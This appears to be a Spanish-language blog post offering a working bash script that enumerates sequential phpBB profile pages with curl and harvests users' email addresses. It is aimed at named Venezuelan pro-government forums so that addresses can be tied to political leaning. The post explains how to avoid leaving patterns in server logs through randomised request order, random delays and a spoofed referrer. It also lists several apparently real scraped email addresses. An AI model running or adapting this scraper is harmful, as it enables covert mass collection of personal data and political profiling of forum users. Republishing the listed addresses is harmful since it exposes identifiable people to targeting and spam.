Desde hace un par de años me llamo la atención como se colaron a internet los correos electrónicos de miles de internautas afectos al actual gobierno venezolano. Revisando los comentarios y usando google me pude dar cuenta que la fuente podría ser alguna comunidad web (foro) orientada específicamente a usuarios oficialistas, no veo otra forma de asociar una dirección de correo electrónica con una tendencia política.
Para duplicar estos resultados escribí un script que permite obtener estos emails y se adapta a cualquier comunidad que use phpBB como software para foros. echemos un vistazo.
TEMP_URL="/tmp/spider_url.tmp"
MAX_SLEEP=1
TMP_EMAILS="/tmp/spider_emails.tmp"
CONFIG=$1
EMAIL_OUTPUT="/tmp/emails.txt"
rm -f $TEMP_URL
rm -f $TMP_EMAILS
rm -f $EMAIL_OUTPUT
for COMUNIDAD in `cat $CONFIG`
do
COMUNIDAD_URL=`echo $COMUNIDAD | awk -F, '{print $1}'`
PERFILMIN=`echo $COMUNIDAD | awk -F, '{print $2}'`
PERFILMAX=`echo $COMUNIDAD | awk -F, '{print $3}'`
PERFIL=$PERFILMIN
while [ "$PERFIL" -lt "$PERFILMAX" ]
do echo "http://$COMUNIDAD_URL/profile.php?mode=viewprofile&u="$PERFIL
PERFIL=`expr $PERFIL + 1`
done
done | sort -R | grep -i [a-z] >> $TEMP_URL
for URL_DE_PERFIL in `cat $TEMP_URL`
do curl -s --referer `shuf -n1 $TEMP_URL` $URL_DE_PERFIL |\
grep -i "@" | \
sed -e 's/</ /g' -e 's/>/ /g' -e 's/\:/ /g' -e 's/\=/ /g' -e 's/&/ /g' | sed s/\"/\ /g |\
tr ' ' '\n' | \
grep "@" | sort | uniq | tr 'A-Z' 'a-z'
SEGUNDOS=$[ ( $RANDOM % $MAX_SLEEP ) + 1 ]
sleep $SEGUNDOS
done >> $TMP_EMAILS
cat `echo $TMP_EMAILS` | grep -i -E '[a-zA-Z0-9_]*@[a-zA-Z0-9]*\.*\.(com|edu|net|org|info|ve)' | sort | uniq > $EMAIL_OUTPUT
El script toma información que es publica y la filtra hasta obtener una cadena que semejé una dirección de correo electrónico, como pueden ver en las siguientes imagenes el perfil de los usuarios son públicos y es predecible cual es la URL de estos perfiles ya que son numerados de forma secuencial.
- Se puede asociar el perfil con el nick y por ende con el email
- Es informacion publica. gracias aporrealos, te queremos mucho
- Informacion general de usuarios en noticierodigital
- La mayoria de la info que nesecitamos esta en la URL o en el mismo foro. Es informacion publica
- Esta pantalla de noticierodigital nos revela cuantos perfiles hay registrados o activos
- Ejecutando el script desde el NSLU2
- Script para recolectar emails de foros web ejecutado desde el iPhone
Al ejecutar el script no arroja ninguna salida, tendríamos que hacer un cat a $EMAIL_OUTPUT como lo vemos aquí:
Si se fijan el el script el recibe un parámetro cuando lo ejecutamos, ese parámetro es la ruta a un archivo que va a contener la información de la URL del foro a escanear, el primer perfil a escanear y el ultimo perfil, todo separado por comas sin espacios en blanco (comunidad,minimo,maximo) el archivo se vería algo así:
www.noticierodigital.com/forum,1001,1010
aporrealos.com/forum,1000,1020
Para llegar a cual es el perfil numero del perfil del ultimo usuario registrado por demos jugar en nuestro navegador web con el parámetro u=17015 y cambiar ese numero por uno mas alto hasta que recibamos una pantalla de error del foro diciendo que ese perfil no existe.
Evitando Patrones.
Si volvemos al script que publique, pueden ver que tome algunas medidas para evitar crear patrones el archivos de registro (log files) alterando el orden de los perfiles y cambiando aleatoriamente el tiempo a esperar entre visita y visita a los perfiles adicionalmente estoy enviando un ‘referrer’ perteneciente a estas comunidades con cada petición HTTP.
El producto final de este script es una lista de direcciones de correo, una dirección por linea y luce así:
ferminmittilo@gmail.com ivanmarcanolopez@hotmail.com jjguillen@cantv.net monje902@hotmail.com psichofra@hotmail.com linux@hacks.org
Este script no funciona con todos los foros phpBB, algunos requieren una sesión valida para acedar la pagina de los perfiles. En la segunda parte de este script (que publicare en los próximos días) usare este mismo script pero implementando cookies, sesiones, proxies y recurriendo a la cache de algunos buscadores web.
UPDATE: El script corre sin problemas en el iPhone asi que se puede ejecutar desde cualquier parte que se tenga internet bien sea vía Edge, 3G o WIFI.
Aquí una captura de pantalla y un video de el script con algunas modificaciones después de ejecutarse:




















Awesome … :D
awesome BASH is awesome